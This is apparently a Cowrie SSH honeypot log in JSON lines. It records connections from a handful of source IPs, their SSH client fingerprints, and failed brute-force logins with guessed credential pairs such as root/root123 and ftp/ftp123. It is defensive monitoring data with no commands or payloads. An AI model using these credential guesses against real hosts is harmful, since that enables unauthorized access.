{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:01:31.893990Z","src_ip":"91.92.42.227","session":"3070b91af04e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user1","password":"123456","message":"login attempt [user1/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:01:34.357317Z","src_ip":"91.92.42.227","session":"90002c0cd1f6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":40656,"dst_ip":"10.17.0.5","dst_port":22,"session":"3f85eaf03fdb","protocol":"ssh","message":"New connection: 45.156.87.147:40656 (10.17.0.5:22) [session: 3f85eaf03fdb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:01:34.839637Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:01:34.844540Z","src_ip":"45.156.87.147","session":"3f85eaf03fdb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:01:34.928990Z","src_ip":"45.156.87.147","session":"3f85eaf03fdb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"minecraft","password":"1","message":"login attempt [minecraft/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:01:35.179543Z","src_ip":"45.156.87.147","session":"3f85eaf03fdb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:01:36.278582Z","src_ip":"45.156.87.147","session":"3f85eaf03fdb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":56236,"dst_ip":"10.17.0.5","dst_port":22,"session":"9e51955da969","protocol":"ssh","message":"New connection: 91.92.42.227:56236 (10.17.0.5:22) [session: 9e51955da969]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:01:36.897672Z"}
{"eventid":"cowrie.session.closed","duration":"15.7","message":"Connection lost after 15.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:01:37.290139Z","src_ip":"91.92.42.227","session":"90002c0cd1f6","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:01:38.820434Z","src_ip":"91.92.42.227","session":"9e51955da969","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:01:38.823392Z","src_ip":"91.92.42.227","session":"9e51955da969","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":57758,"dst_ip":"159.203.135.109","dst_port":22,"session":"ac87c6d8de24","protocol":"ssh","message":"New connection: 80.94.92.184:57758 (159.203.135.109:22) [session: ac87c6d8de24]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:01:39.725771Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:01:39.730161Z","src_ip":"80.94.92.184","session":"ac87c6d8de24","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:01:39.921673Z","src_ip":"80.94.92.184","session":"ac87c6d8de24","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root123","message":"login attempt [root/root123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:01:40.615596Z","src_ip":"91.92.42.227","session":"3070b91af04e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"solv321","message":"login attempt [solv/solv321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:01:40.748747Z","src_ip":"80.94.92.184","session":"ac87c6d8de24","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":41250,"dst_ip":"10.17.0.5","dst_port":22,"session":"d0761c86457f","protocol":"ssh","message":"New connection: 45.156.87.147:41250 (10.17.0.5:22) [session: d0761c86457f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:01:40.975456Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:01:41.059876Z","src_ip":"45.156.87.147","session":"d0761c86457f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:01:41.064017Z","src_ip":"45.156.87.147","session":"d0761c86457f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftp","password":"ftp123","message":"login attempt [ftp/ftp123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:01:41.399535Z","src_ip":"45.156.87.147","session":"d0761c86457f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:01:41.933958Z","src_ip":"80.94.92.184","session":"ac87c6d8de24","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:01:42.487795Z","src_ip":"45.156.87.147","session":"d0761c86457f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":56262,"dst_ip":"10.17.0.5","dst_port":22,"session":"aec28fb92d2b","protocol":"ssh","message":"New connection: 91.92.42.227:56262 (10.17.0.5:22) [session: aec28fb92d2b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:01:42.788573Z"}
{"eventid":"cowrie.session.closed","duration":"15.0","message":"Connection lost after 15.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:01:44.833230Z","src_ip":"91.92.42.227","session":"3070b91af04e","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:01:45.910767Z","src_ip":"91.92.42.227","session":"aec28fb92d2b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:01:45.914064Z","src_ip":"91.92.42.227","session":"aec28fb92d2b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":41264,"dst_ip":"10.17.0.5","dst_port":22,"session":"1506029a86dc","protocol":"ssh","message":"New connection: 45.156.87.147:41264 (10.17.0.5:22) [session: 1506029a86dc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:01:46.981009Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:01:46.985662Z","src_ip":"45.156.87.147","session":"1506029a86dc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:01:47.071720Z","src_ip":"45.156.87.147","session":"1506029a86dc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"playground","password":"playground","message":"login attempt [playground/playground] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:01:47.446757Z","src_ip":"45.156.87.147","session":"1506029a86dc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:01:48.589626Z","src_ip":"45.156.87.147","session":"1506029a86dc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"bob","password":"root","message":"login attempt [bob/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:01:49.092225Z","src_ip":"91.92.42.227","session":"9e51955da969","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"89.223.69.22","src_port":58034,"dst_ip":"159.203.135.109","dst_port":22,"session":"0f13630e843e","protocol":"ssh","message":"New connection: 89.223.69.22:58034 (159.203.135.109:22) [session: 0f13630e843e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:01:49.375922Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:01:49.379885Z","src_ip":"89.223.69.22","session":"0f13630e843e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:01:49.496398Z","src_ip":"89.223.69.22","session":"0f13630e843e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":33530,"dst_ip":"10.17.0.5","dst_port":22,"session":"8910c9705432","protocol":"ssh","message":"New connection: 91.92.42.227:33530 (10.17.0.5:22) [session: 8910c9705432]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:01:49.642912Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwerty112","message":"login attempt [root/qwerty112] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:01:49.849195Z","src_ip":"89.223.69.22","session":"0f13630e843e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:01:50.969282Z","src_ip":"89.223.69.22","session":"0f13630e843e","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:01:51.959869Z","src_ip":"91.92.42.227","session":"8910c9705432","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:01:51.962885Z","src_ip":"91.92.42.227","session":"8910c9705432","protocol":"ssh"}
